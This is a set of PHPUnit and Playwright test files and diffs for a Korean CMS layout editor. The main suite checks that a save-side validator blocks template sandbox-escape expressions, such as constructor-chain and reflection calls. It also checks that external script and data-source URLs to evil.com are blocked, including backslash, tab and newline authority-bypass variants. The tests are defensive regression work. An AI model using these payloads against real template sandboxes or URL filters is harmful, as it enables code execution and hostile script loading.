// 신규 legacy 접근자 패턴이 단어 경계를 쓰므로 이 형태를 건드리지 않는다.
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{ mode === 'prototype' ? 'a' : 'b' }}"],
]],
];
$this->assertFalse($this->fails($layout), '정상 문자열 비교는 통과해야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_nested_array_computed_key(): void
{
// 중첩 배열 키 `[['constructor']]` — 구 브래킷 한정 패턴이 놓치던 형태 (KVE-2026-1915)
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{''[['constructor']][['constructor']]('return 1')()}}"],
]],
];
$this->assertTrue($this->fails($layout), '중첩 배열 computed 키는 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_reflection_static_string_argument(): void
{
// 리플렉션 static 의 문자열 인자 `..., 'constructor')` — 구 패턴이 놓치던 형태
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{Object.getOwnPropertyDescriptor(Object.getPrototypeOf(String), 'constructor').value('x')()}}"],
]],
];
$this->assertTrue($this->fails($layout), '리플렉션 static 문자열 인자는 차단되어야 합니다');
}
/** @effects sandbox_escape_blocked */
public function test_fails_object_reflection_static_names(): void
{
foreach (['Object.getPrototypeOf(x)', 'Object.setPrototypeOf(x, y)', 'Object.defineProperty(x, y, z)'] as $expr) {
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['text' => "{{{$expr}}}"],
]],
];
$this->assertTrue($this->fails($layout), "Object 리플렉션 static({$expr})은 차단되어야 합니다");
}
}
public function test_passes_object_safe_data_methods(): void
{
// 안전한 Object 데이터 메서드는 통과 (실제 레이아웃에서 사용)
$layout = [
'components' => [[
'name' => 'Div',
'props' => ['value' => '{{Object.assign(Object.create(null), _local.filters, { [k]: v })}}'],
]],
];
$this->assertFalse($this->fails($layout), 'Object.keys/assign/create 등 데이터 메서드는 통과해야 합니다');
}
public function test_passes_string_literal_comparison_of_reserved_word(): void
{
// 금지 프로퍼티 이름을 프로퍼티로 접근하지 않고 단순 문자열로 비교하는 정상 표현식은
// 통과해야 한다 — 런타임 평가기가 허용하므로 저장측이 막으면 저장이 불가한 비대칭이 된다.
// (편집기가 이런 레이아웃을 저장할 때 오탐으로 거부되면 안 됨)
$layout = [
'components' => [[
'name' => 'Div',
'if' => "{{_local.mode === 'prototype'}}",
'props' => ['text' => "{{status === 'constructor' ? 'A' : 'B'}}"],
]],
];
$this->assertFalse($this->fails($layout), '예약어를 문자열로 비교하는 정상 표현식은 통과해야 합니다');
}
/**
* 저장소가 배포하는 레이아웃 전수 스윕 — 저장측 규칙이 기존 레이아웃을 거부하지 않는다.
*
* 합성 페이로드만으로는 "정상 표현식 통과"를 증명하지 못한다. 픽스처는 늘 현재 규칙을
* 지키도록 쓰이므로, 규칙이 조여졌을 때 **이미 배포된 레이아웃이 저장 불가가 되는**
* 과차단 회귀는 실제 모집단으로만 드러난다(예: `=>` 를 금지 토큰에 넣으면 이 테스트가
* red 가 된다). 정적 룰은 audit 실행 시점에만 도는 별개 축이므로, 저장측 PHP 규칙 자신의
* 모집단 검사를 여기에 둔다.
*/
public function test_passes_every_shipped_layout(): void
{
// 모집단은 선언 주체별로 나눠 센다. 합산 하한만 두면 한 주체가 통째로 빠져도
// 나머지가 하한을 넘겨 green 이 된다(예: templates 327건이 사라져도 modules+plugins
// 272건이 남는다). 주체별 하한이라야 경로 이동을 그 주체에서 잡는다.
$groups = [
// 코어 레이아웃 루트는 현재 추적 파일 0건이다. 스캔에는 포함하되 하한은 두지
// 않는다 — 하한을 걸면 코어 레이아웃이 없다는 사실만으로 상시 red 가 된다.
'core' => [[base_path('resources/layouts')], 0],
'templates' => [glob(base_path('templates/_bundled/*/layouts')) ?: [], 250],
'modules' => [glob(base_path('modules/_bundled/*/resources/layouts')) ?: [], 200],
'plugins' => [glob(base_path('plugins/_bundled/*/resources/layouts')) ?: [], 10],
];
$rejected = [];
$scannedByGroup = [];
foreach ($groups as $group => [$roots, $_floor]) {
$scannedByGroup[$group] = 0;
foreach ($roots as $root) {
if (! is_dir($root)) {
continue;
}
$files = new \RecursiveIteratorIterator(new \RecursiveDirectoryIterator($root));
foreach ($files as $file) {
if ($file->getExtension() !== 'json') {
continue;
}
$decoded = json_decode(file_get_contents($file->getPathname()), true);
if (! is_array($decoded)) {
continue;
}
$scannedByGroup[$group]++;
if ($this->fails($decoded)) {
$rejected[] = str_replace(base_path().DIRECTORY_SEPARATOR, '', $file->getPathname());
}
}
}
}
// 모집단이 비면 이 테스트는 아무것도 증명하지 않는다 — 경로 오타/이동으로 조용히
// green 이 되는 것을 막는다.
foreach ($groups as $group => [$_roots, $floor]) {
if ($floor === 0) {
continue;
}
$this->assertGreaterThanOrEqual(
$floor,
$scannedByGroup[$group],
"{$group} 레이아웃 모집단이 하한({$floor})을 밑돕니다(스캔 {$scannedByGroup[$group]}건) — 경로가 바뀌었는지 확인하세요"
);
}
$this->assertSame(
[],
$rejected,
'배포 레이아웃이 저장측 규칙에 거부되면 그 화면은 편집 후 저장이 불가해집니다: '
.implode(', ', array_slice($rejected, 0, 10))
);
}
// ==========================================
// 외부 리소스 URL 차단
// ==========================================
public function test_fails_external_script_src(): void
{
$layout = [
'scripts' => [
['id' => 'evil', 'src' => 'https://evil.com/x.js'],
],
];
$this->assertTrue($this->fails($layout), '외부 스크립트 src 는 차단되어야 합니다');
}
public function test_fails_protocol_relative_script_src(): void
{
$layout = [
'scripts' => [
['id' => 'evil', 'src' => '//evil.com/x.js'],
],
];
$this->assertTrue($this->fails($layout), 'protocol-relative src 는 차단되어야 합니다');
}
public function test_passes_same_origin_script_src(): void
{
$layout = [
'scripts' => [
['id' => 'local', 'src' => '/js/widget.js'],
],
];
$this->assertFalse($this->fails($layout), 'same-origin 스크립트 src 는 통과해야 합니다');
}
public function test_passes_trusted_host_script_src(): void
{
// 확장이 manifest 로 선언한 신뢰 호스트의 외부 스크립트는 통과한다
$this->trustHost('cdn.ckeditor.com');
$layout = [
'scripts' => [
['id' => 'ckeditor', 'src' => 'https://cdn.ckeditor.com/ckeditor5/43.3.1/ckeditor5.umd.js'],
],
];
$this->assertFalse($this->fails($layout), '신뢰 호스트의 외부 스크립트 src 는 통과해야 합니다');
}
public function test_passes_trusted_host_protocol_relative_data_source(): void
{
$this->trustHost('t1.daumcdn.net');
$layout = [
'data_sources' => [
['id' => 'daum', 'endpoint' => '//t1.daumcdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js'],
],
];
$this->assertFalse($this->fails($layout), '신뢰 호스트의 protocol-relative endpoint 는 통과해야 합니다');
}
/**
* 신뢰 호스트를 userinfo 로 위장한 authority 우회는 거부한다.
*
* `https://evil.com\@cdn.ckeditor.com/x.js` 는 정규화 없이 parse_url 로 읽으면
* 호스트가 `cdn.ckeditor.com`(신뢰 목록)으로 보이지만, 브라우저는 백슬래시를
* 슬래시로 접어 `evil.com` 에서 로드한다. 신뢰 호스트 판정이 same-origin 판정과
* 다른 정규화를 쓰면 이 형태만 저장측을 통과한다.
*/
public function test_fails_trusted_host_userinfo_disguise(): void
{
$this->trustHost('cdn.ckeditor.com');
$bs = chr(92);
$layout = [
'scripts' => [
['id' => 'x', 'src' => 'https://evil.com'.$bs.'@cdn.ckeditor.com/x.js'],
],
];
$this->assertTrue(
$this->fails($layout),
'신뢰 호스트를 userinfo 로 위장한 외부 스크립트는 거부해야 합니다'
);
}
/**
* (과차단 회귀) 런타임이 신뢰 호스트로 해석하는 형태는 저장측도 통과시킨다.
*
* `/\/cdn.ckeditor.com/x.js` 는 문자열상 path 지만 브라우저는 authority 로 읽어
* 신뢰 호스트에서 로드한다. 저장측만 거부하면 "런타임은 되는데 저장이 안 되는"
* 역방향 비대칭이 된다.
*/
public function test_passes_trusted_host_reached_through_backslash_authority(): void
{
$this->trustHost('cdn.ckeditor.com');
$layout = [
'scripts' => [
['id' => 'x', 'src' => '/'.chr(92).'/cdn.ckeditor.com/x.js'],
],
];
$this->assertFalse(
$this->fails($layout),
'런타임이 신뢰 호스트로 해석하는 형태는 저장측도 통과해야 합니다'
);
}
public function test_still_fails_untrusted_host_when_other_host_trusted(): void
{
// cdn.ckeditor.com 만 신뢰해도 evil.com 은 여전히 차단된다
$this->trustHost('cdn.ckeditor.com');
$layout = [
'scripts' => [
['id' => 'evil', 'src' => 'https://evil.com/x.js'],
],
];
$this->assertTrue($this->fails($layout), '신뢰 목록에 없는 외부 스크립트는 차단되어야 합니다');
}
public function test_fails_external_data_source_endpoint(): void
{
$layout = [
'data_sources' => [
['id' => 'x', 'endpoint' => 'https://evil.com/steal'],
],
];
$this->assertTrue($this->fails($layout), '외부 data_sources 엔드포인트는 차단되어야 합니다');
}
/**
* authority 우회 후보 URL (KVE-2026-1915 후속)
*
* `/\/evil.com/x.js` 는 `//` 로 시작하지 않고 scheme 도 없으며 `/` 로 시작하므로
* 문자열 접두 검사만으로는 same-origin path 로 판정된다. 그러나 브라우저의 URL
* 파서는 (a) special scheme 에서 `\` 를 `/` 와 동등하게 처리하고 (b) 파싱 전에
* ASCII tab·개행을 제거하므로, 실제로는 `https://evil.com/x.js` 로 해석되어
* 원격 스크립트가 로드된다.
*
* 실측(node `new URL`, base `https://g7_2.dev/`): 아래 4형태 전부 origin 이
* `https://evil.com` 으로 해석된다.
*
* @return array<string, array{string}>
*/
public static function authorityBypassProvider(): array
{
$bs = chr(92);
return [
'slash-backslash-slash' => ['/'.$bs.'/evil.com/x.js'],
'slash-backslash' => ['/'.$bs.'evil.com/x.js'],
'slash-double-backslash' => ['/'.$bs.$bs.'evil.com/x.js'],
'slash-tab-slash' => ['/'.chr(9).'/evil.com/x.js'],
'slash-lf-slash' => ['/'.chr(10).'/evil.com/x.js'],
'slash-cr-slash' => ['/'.chr(13).'/evil.com/x.js'],
];
}
/**
* @param string $src authority 우회 후보 URL
*/
#[DataProvider('authorityBypassProvider')]
public function test_fails_authority_bypass_script_src(string $src): void
{
$layout = [
'scripts' => [
['id' => 'evil', 'src' => $src],
],
];
$this->assertTrue(
$this->fails($layout),
'authority 우회 src 는 차단되어야 합니다: '.json_encode($src)
);
}
/**
* @param string $endpoint authority 우회 후보 URL
*/
#[DataProvider('authorityBypassProvider')]
public function test_fails_authority_bypass_data_source_endpoint(string $endpoint): void
{
$layout = [
'data_sources' => [
['id' => 'evil', 'endpoint' => $endpoint],
],
];
$this->assertTrue(
$this->fails($layout),
'authority 우회 endpoint 는 차단되어야 합니다: '.json_encode($endpoint)
);
}
/**
* 백슬래시·탭이 authority 위치가 아닌 경로 안에 있으면 same-origin 이므로 통과
*
* 과차단 회귀 방지 — 브라우저도 이 둘을 same-origin 으로 해석한다(실측).
*/
public function test_passes_same_origin_path_containing_backslash_or_tab(): void
{
$layout = [
'scripts' => [
['id' => 'a', 'src' => '/js/a'.chr(92).'b.js'],
['id' => 'b', 'src' => '/js/c'.chr(9).'d.js'],
],
];
$this->assertFalse(
$this->fails($layout),
'경로 중간의 백슬래시·탭은 authority 를 만들지 않으므로 통과해야 합니다'
);
}
// ==========================================
// FormRequest 결선 (규칙이 content 배열에 실제로 물려 있는지)
// ==========================================
//
// 규칙이 올바르게 동작해도 content **배열** 규칙에 부착되지 않으면 저장 경로는 그대로
// 통과한다. 과거 두 content 전용 요청은 SafeLayoutExpressions 를 문자열 endpoint 에만
// 걸어 두어(is_array 가드로 early-return) 트리 전체가 미검사로 남았다. 아래 테스트는
// 네 요청 모두 content 배열 규칙에 규칙이 부착돼 있음을 고정한다.
/**
* FormRequest 의 content 배열 규칙에서 SafeLayoutExpressions 인스턴스를 찾는다.
*/
private function contentRuleHasSafeExpressions(array $rules): bool
{
$contentRules = $rules['content'] ?? [];
foreach ((array) $contentRules as $rule) {
if ($rule instanceof SafeLayoutExpressions) {
return true;
}
}
return false;
}
public function test_update_content_request_attaches_rule_to_content_array(): void
{
$request = UpdateLayoutContentRequest::create('/x', 'PUT', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$request->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasSafeExpressions($request->rules()),
'UpdateLayoutContentRequest 의 content 배열 규칙에 SafeLayoutExpressions 가 부착되어야 합니다'
);
}
public function test_update_extension_content_request_attaches_rule_to_content_array(): void
{
$request = UpdateLayoutExtensionContentRequest::create('/x', 'PUT', [
'content' => ['priority' => 0],
]);
$request->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasSafeExpressions($request->rules()),
'UpdateLayoutExtensionContentRequest 의 content 배열 규칙에 SafeLayoutExpressions 가 부착되어야 합니다'
);
}
public function test_store_and_update_requests_attach_rule_to_content_array(): void
{
$store = StoreLayoutRequest::create('/x', 'POST', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$store->setContainer($this->app);
$update = UpdateLayoutRequest::create('/x', 'PUT', [
'content' => ['version' => '1.0.0', 'components' => []],
]);
$update->setContainer($this->app);
$this->assertTrue(
$this->contentRuleHasSafeExpressions($store->rules()),
'StoreLayoutRequest 의 content 배열 규칙에 SafeLayoutExpressions 가 부착되어야 합니다'
);
$this->assertTrue(
$this->contentRuleHasSafeExpressions($update->rules()),
'UpdateLayoutRequest 의 content 배열 규칙에 SafeLayoutExpressions 가 부착되어야 합니다'
);
}
}
File diff suppressed because it is too large. Load diff
@@ -655,6 +655,10 @@ class ScheduleCommandGuardTest extends TestCase
'about — 환경 정보 노출' => ['about'],
'queue:failed' => ['queue:failed'],
'storage:link' => ['storage:link'],
// KVE-2026-1897 회귀 가드: 언어팩 설치 명령은 예약 실행 허용목록 밖이므로 저장 시점에 거부된다
// (커밋 #527 이 denylist→allowlist 로 전환한 뒤의 기대 동작을 고정).
'language-pack:install — 확장 관리 명령' => ['language-pack:install g7-core-ja'],
'language-pack:uninstall — 확장 관리 명령' => ['language-pack:uninstall g7-core-ja'],
];
}
@@ -0,0 +1,61 @@
<?php
namespace Tests\Feature\Security;
use App\Exceptions\CannotModifyProtectedRoleException;
use App\Exceptions\CannotModifySuperAdminException;
use App\Exceptions\PermissionEscalationException;
use Illuminate\Support\Facades\Route;
use PHPUnit\Framework\Attributes\DataProvider;
use Tests\TestCase;
/**
* 등급 상한 예외 3종의 전역 렌더러(bootstrap/app.php) 계약 테스트
*
* KVE-2026-1919 가 도입한 렌더러는 심층 방어다 — 현재 호출부(UserController /
* RoleController)는 전부 로컬 catch 로 403 을 만들기 때문에, 렌더러 블록을 통째로
* 지워도 기존 스위트는 전부 green 이 된다. 그러면 "새 호출부가 로컬 catch 없이
* 던져도 조용한 500 대신 403" 이라는 렌더러의 존재 이유가 검증되지 않은 채 남는다.
*
* 그래서 로컬 catch 가 없는 경로를 테스트 안에서 만들어 렌더러 자신을 직접 건다.
*/
class SecurityExceptionRendererTest extends TestCase
{
/**
* 로컬 catch 없이 던져진 등급 상한 예외 3종이 500 이 아닌 403 으로 렌더된다.
*
* @param string $exceptionClass 던질 예외 클래스
* @param string $langKey 기대 메시지의 lang 키
*
* @effects ceiling_exceptions_render_as_403_without_local_catch
*/
#[DataProvider('ceilingExceptionProvider')]
public function test_ceiling_exceptions_render_as_403_without_local_catch(string $exceptionClass, string $langKey): void
{
Route::middleware('api')->get('/api/_test/ceiling-render', function () use ($exceptionClass) {
throw new $exceptionClass;
});
$response = $this->getJson('/api/_test/ceiling-render');
$response->assertStatus(403);
$response->assertJson([
'success' => false,
'message' => __($langKey),
]);
}
/**
* 예외 3종 × 대응 lang 키
*
* @return array<string, array{0: class-string, 1: string}>
*/
public static function ceilingExceptionProvider(): array
{
return [
'super admin 보호' => [CannotModifySuperAdminException::class, 'exceptions.cannot_modify_super_admin'],
'보호 역할' => [CannotModifyProtectedRoleException::class, 'exceptions.cannot_modify_protected_role'],
'권한 상승' => [PermissionEscalationException::class, 'exceptions.cannot_grant_unheld_permission'],
];
}
}
@@ -108,6 +108,9 @@ class TemplateServiceRoutesMergeTest extends TestCase
$this->assertIsArray($result['data']['routes']);
}
/**
* @effects code_editor_restores_layout_from_route_query
*/
#[Test]
public function get_layout_route_path_map_maps_layout_name_to_route_path(): void
{
@@ -10,8 +10,8 @@
* 단위 테스트(Router.test.ts)가 매칭 로직을 잠그지만, 실제 브라우저에서
* 재현한 증상이므로(단위 green + 브라우저 깨짐 방지) 브라우저 레벨로도 잠근다.
*
* @scenario admin_trailing_slash_unauthenticated + admin_no_trailing_slash_unauthenticated
* @effects redirect_to_login_not_404
* 축 요약(마커 아님 — 평문): admin_trailing_slash_unauthenticated, admin_no_trailing_slash_unauthenticated.
* 효과 요약(마커 아님 — 평문): redirect_to_login_not_404.
*/
import { test, expect } from '../../fixtures/auth';
@@ -13,8 +13,8 @@
* 잠근다 — 셀에 파이프를 넣은 화면이 코어 기본 레이아웃에 없으므로, 배포된
* 번들의 `G7Core.renderItemChildren` 를 그대로 호출해 결과를 검증한다.
*
* @scenario cellchildren_pipe_with_args + cellchildren_pipe_without_args + cellchildren_props_pipe
* @effects pipe_formatted_value_rendered
* 축 요약(마커 아님 — 평문): cellchildren_pipe_with_args, cellchildren_pipe_without_args, cellchildren_props_pipe.
* 효과 요약(마커 아님 — 평문): pipe_formatted_value_rendered.
*/
import { test, expect } from '../fixtures/auth';
@@ -11,8 +11,8 @@
* 이라, 본 spec 은 탭 노출/빌더 렌더/조작 결과의 가시 상태만 확인하고 합성 로직 정합성은
* 단위/RTL(actionRecipeEngine/conditionRecipeEngine/s7-property-controls)이 잠근다.
*
* @scenario property_modal_action_tab + property_modal_visibility_tab + flex_editor_section
* @effects action_tab_visible_when_events + visibility_builder_renders + flex_section_for_container
* 축 요약(마커 아님 — 평문): property_modal_action_tab, property_modal_visibility_tab, flex_editor_section.
* 효과 요약(마커 아님 — 평문): action_tab_visible_when_events, visibility_builder_renders, flex_section_for_container.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -64,6 +64,7 @@ async function selectNode(page: PwPage, editorPath: string): Promise<boolean> {
}
test.describe('@layout-editor 동작/표시조건/정렬박스 (S7)', () => {
/** @effects visibility_builder_renders */
test('요소 선택 → 속성 모달에 표시조건 탭 + 조건 빌더 렌더', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -128,7 +129,7 @@ test.describe('@layout-editor 동작/표시조건/정렬박스 (S7)', () => {
// ── D-D 회귀 — 컴포넌트 [동작] 탭 ──
// @scenario property_modal_action_tab
// @effects nested_onsuccess_picker_not_empty + action_card_drag_handle_draggable
// @effects nested_onsuccess_picker_not_empty, action_card_drag_handle_draggable
/** [동작] 탭을 가진(events capability) 노드를 찾아 동작 탭을 연다. 못 찾으면 null.
* Button 등 onClick capability 보유 가능성이 높은 노드를 우선 시도한다(앞쪽 컨테이너는
@@ -163,6 +164,7 @@ test.describe('@layout-editor 동작/표시조건/정렬박스 (S7)', () => {
return false;
}
/** @effects action_tab_visible_when_events */
test('동작 탭 — apiCall 의 성공 시 동작(중첩) add picker 가 코어 핸들러를 노출(빈 상태 금지)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -14,7 +14,7 @@
* 결선돼 Playwright dispatchEvent 로 검증 가능하다(캔버스 노드 재배치의 dnd-kit 비호환과 별개).
*
* @scenario page_settings_init_actions_reorder
* @effects reorder_buttons_removed + drag_handle_reorders + dropline_shows_target
* 효과 요약(마커 아님 — 평문): reorder_buttons_removed, drag_handle_reorders, dropline_shows_target.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -82,6 +82,7 @@ async function cardTitles(page: PwPage): Promise<string[]> {
}
test.describe('@layout-editor 화면 동작 순서 변경 드래그 (S10-1 후속)', () => {
/** @effects reorder_buttons_removed */
test('순서 변경 ▲▼ 버튼 부재 + ⠿ 드래그 핸들 존재 + 삽입선 비활성(초기)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -98,6 +99,7 @@ test.describe('@layout-editor 화면 동작 순서 변경 드래그 (S10-1 후
await expect(page.locator('[data-testid="g7le-init-action-self-dropline-end"]')).toHaveAttribute('data-active', 'false');
});
/** @effects drag_handle_reorders, dropline_shows_target */
test('⠿ 드래그로 순서 변경 + 드롭 예정 지점 삽입선 활성', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -138,6 +140,7 @@ test.describe('@layout-editor 화면 동작 순서 변경 드래그 (S10-1 후
await expect(page.locator('[data-testid="g7le-init-action-self-dropline-end"]')).toHaveAttribute('data-active', 'false');
});
/** @effects drag_handle_reorders */
test('연속 드래그 — 누적 순서 정합(다시 원래 순서로)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -14,8 +14,8 @@
* 을 검증한다. 추가/삭제/정렬/필드편집/디그레이드 회귀는 단위(ArrayItemsEditor.test.tsx)가
* 잠그고, 본 E2E 는 라이브 반영·저장을 브라우저로 확인한다.
*
* @scenario array_node_editor + add_item + edit_text_field + live_persist
* @effects property_modal_dispatches_array_node_editor_in_props_tab_by_kind, add_item_appends_newitem_skeleton_patches_whole_node, text_field_updates_item_immediately, live_add_tab_edit_label_reorder_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout
* 축 요약(마커 아님 — 평문): array_node_editor, add_item, edit_text_field, live_persist.
* 효과 요약(마커 아님 — 평문): property_modal_dispatches_array_node_editor_in_props_tab_by_kind, add_item_appends_newitem_skeleton_patches_whole_node, text_field_updates_item_immediately, live_add_tab_edit_label_reorder_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -122,6 +122,7 @@ async function appendTabNavigationTo(page: Page, containerPath: string): Promise
}
test.describe('@layout-editor array 노드 에디터(빌트인 ARRAY-PROP)', () => {
/** @effects property_modal_dispatches_array_node_editor_in_props_tab_by_kind, add_item_appends_newitem_skeleton_patches_whole_node */
test('TabNavigation 선택 시 array 에디터가 속성 탭에 마운트되고 항목 추가가 행 반영', async ({ page }) => {
await gotoEditor(page);
const navPath = await addTabNavigation(page);
@@ -137,6 +138,7 @@ test.describe('@layout-editor array 노드 에디터(빌트인 ARRAY-PROP)', ()
expect(rowsAfter).toBe(rowsBefore + 1);
});
/** @effects text_field_updates_item_immediately */
test('항목 id text 필드 편집이 즉시 반영(입력값 유지)', async ({ page }) => {
await gotoEditor(page);
const navPath = await addTabNavigation(page);
@@ -158,6 +160,7 @@ test.describe('@layout-editor array 노드 에디터(빌트인 ARRAY-PROP)', ()
// 시드 화면(e2e_sandbox)을 대상으로 한다. 이전에는 "추가한 TabNavigation 삭제 후 재저장" 으로
// 원복했으나, 원복 자체가 또 한 번의 저장이라 실패하면 잔여물이 남았다. 시드 화면은 globalSetup 이
// 매 실행 fixture 원본으로 덮어쓰므로 원복 절차가 필요 없다.
/** @effects live_add_tab_edit_label_reorder_save_persists_to_user_page, editor_save_specs_target_sandbox_layout_not_product_layout */
test('array 편집 후 저장 → PUT 200', async ({ page }) => {
test.setTimeout(60_000); // 저장 + 모달 닫힘 대기 합산 — 기본 30s 부족
await gotoEditor(page, sandboxRouteParam());
@@ -20,12 +20,13 @@
* 렌더됐다. 수정: editor-spec sampleGlobal 에 `$locale`/`$locales` 선언 +
* PreviewCanvas 가 `$`-prefixed 키를 렌더 컨텍스트 최상위로 lift.
*
* @scenario editor_entry_unauthorized + editor_entry_authorized + sample_locales_dropdown
* @effects access_error_panel_unauthorized + chrome_not_rendered_when_unauthorized + route_tree_source_tagged + locale_dropdown_populated
* 축 요약(마커 아님 — 평문): editor_entry_unauthorized, editor_entry_authorized, sample_locales_dropdown.
* 효과 요약(마커 아님 — 평문): access_error_panel_unauthorized, chrome_not_rendered_when_unauthorized, route_tree_source_tagged, locale_dropdown_populated.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
test.describe('@layout-editor 진입 인증 가드', () => {
/** @effects access_error_panel_unauthorized, chrome_not_rendered_when_unauthorized */
test('비로그인(토큰 없음) 진입 시 chrome 미렌더 + unauthorized 안내', async ({ page }) => {
// authenticatePage 미호출 — localStorage 에 auth_token 없음(세션 만료/로그아웃 상태 모사).
await page.goto('/admin/layout-editor/sirsoft-admin_basic?route=%2Flogin');
@@ -41,6 +42,7 @@ test.describe('@layout-editor 진입 인증 가드', () => {
await expect(page.getByTestId('g7le-chrome-header')).toHaveCount(0);
});
/** @effects route_tree_source_tagged */
test('편집 권한 보유 시 정상 진입 (chrome 렌더 + 라우트 트리 source 태깅 정상)', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -59,6 +61,7 @@ test.describe('@layout-editor 진입 인증 가드', () => {
});
test.describe('@layout-editor 샘플 로케일 목록', () => {
/** @effects locale_dropdown_populated */
test('로그인 화면 로케일 선택 드롭다운이 $locales 로 채워진다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -8,8 +8,8 @@
* 잡지 못해(브라우저 렌더만이 포착), Playwright 로 실제 캔버스 DOM 의 inline
* `background-image: url(...)` 적용을 검증한다.
*
* @scenario background_image_apply + background_image_mode_switch
* @effects canvas_background_image_url + canvas_background_size_mode
* 축 요약(마커 아님 — 평문): background_image_apply, background_image_mode_switch.
* 효과 요약(마커 아님 — 평문): canvas_background_image_url, canvas_background_size_mode.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -58,6 +58,7 @@ async function openStyleTab(page: Page): Promise<void> {
}
test.describe('@layout-editor 배경 이미지 캔버스 반영', () => {
/** @effects canvas_background_image_url */
test('속성 모달 image 위젯 → URL 입력 → 캔버스 노드 inline background-image url(...) 반영', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -104,6 +105,7 @@ test.describe('@layout-editor 배경 이미지 캔버스 반영', () => {
expect(styleSnap.repeat).toBe('no-repeat');
});
/** @effects canvas_background_size_mode */
test('표시 모드 전환(맞춤/타일) → 캔버스 backgroundSize/Repeat 정합', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -12,7 +12,7 @@
* 마운트 성공이 곧 단일 React 인스턴스 + 컨텍스트/싱글톤 동일성(shim __runtime 공유)을 증명한다.
*
* @scenario bundle_split_lazy_editor
* @effects editor_bundle_absent_on_normal_page + editor_bundle_loaded_and_mounted_on_editor_route
* 효과 요약(마커 아님 — 평문): editor_bundle_absent_on_normal_page, editor_bundle_loaded_and_mounted_on_editor_route.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
@@ -37,6 +37,7 @@ function collectEditorBundleRequests(page: PwPage): string[] {
}
test.describe('Layout Editor — 번들 분리 (lazy 로드)', () => {
/** @effects editor_bundle_absent_on_normal_page */
test('일반 admin 페이지는 layout-editor.min.js 를 요청하지 않는다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -50,6 +51,7 @@ test.describe('Layout Editor — 번들 분리 (lazy 로드)', () => {
expect(editorRequests, '일반 페이지에서 편집기 번들이 로드됨(회귀)').toEqual([]);
});
/** @effects editor_bundle_loaded_and_mounted_on_editor_route */
test('편집기 URL 진입 시 layout-editor.min.js 를 로드하고 마운트한다', async ({ page }) => {
const token = issueToken('core.templates.layouts.edit');
await authenticatePage(page, token);
@@ -14,8 +14,8 @@
* 를 검증한다. 항목 텍스트 다국어(커스텀 키 생성)는 단위(ChildrenListControl.test.tsx)가
* CRUD round-trip 을 잠그고, 본 E2E 는 구조 편집(추가/정렬/저장)을 브라우저로 확인한다.
*
* @scenario children_node_editor + add_remove_move + live_persist
* @effects property_modal_dispatches_children_node_editor_in_props_tab_by_kind_not_name, add_item_appends_childcomponent_defaultnode_to_children, move_up_down_swaps_adjacent_children_with_boundary_guard, live_add_li_edit_text_reorder_save_persists_to_user_page, keyboard_arrowup_escape_escalates_selection_to_parent, overlapping_child_selected_type_chip_escalates_to_parent, editor_save_specs_target_sandbox_layout_not_product_layout, editor_save_persists_and_survives_reload_on_sandbox
* 축 요약(마커 아님 — 평문): children_node_editor, add_remove_move, live_persist.
* 효과 요약(마커 아님 — 평문): property_modal_dispatches_children_node_editor_in_props_tab_by_kind_not_name, add_item_appends_childcomponent_defaultnode_to_children, move_up_down_swaps_adjacent_children_with_boundary_guard, live_add_li_edit_text_reorder_save_persists_to_user_page, keyboard_arrowup_escape_escalates_selection_to_parent, overlapping_child_selected_type_chip_escalates_to_parent, editor_save_specs_target_sandbox_layout_not_product_layout, editor_save_persists_and_survives_reload_on_sandbox.
*/
import { test, expect, issueToken, authenticatePage } from '../../fixtures/auth';
import type { Page } from '@playwright/test';
@@ -127,6 +127,7 @@ async function appendUlTo(page: Page, containerPath: string): Promise<string> {
}
test.describe('@layout-editor children 노드 에디터(목록 빌트인)', () => {
/** @effects property_modal_dispatches_children_node_editor_in_props_tab_by_kind_not_name, add_item_appends_childcomponent_defaultnode_to_children, move_up_down_swaps_adjacent_children_with_boundary_guard */
test('Ul 선택 시 children 에디터가 속성 탭에 마운트되고 Li 추가/정렬이 캔버스 반영', async ({ page }) => {
await gotoEditor(page);
const ulPath = await addUl(page);
@@ -167,6 +168,7 @@ test.describe('@layout-editor children 노드 에디터(목록 빌트인)', () =
// 시드 화면(e2e_sandbox)을 대상으로 한다. 이전에는 "추가한 Ul 삭제 후 재저장" 으로 원복했으나,
// 원복 자체가 또 한 번의 저장이라 실패하면 잔여물이 남았다. 시드 화면은 globalSetup 이 매 실행
// fixture 원본으로 덮어쓰므로 원복 절차가 필요 없다.
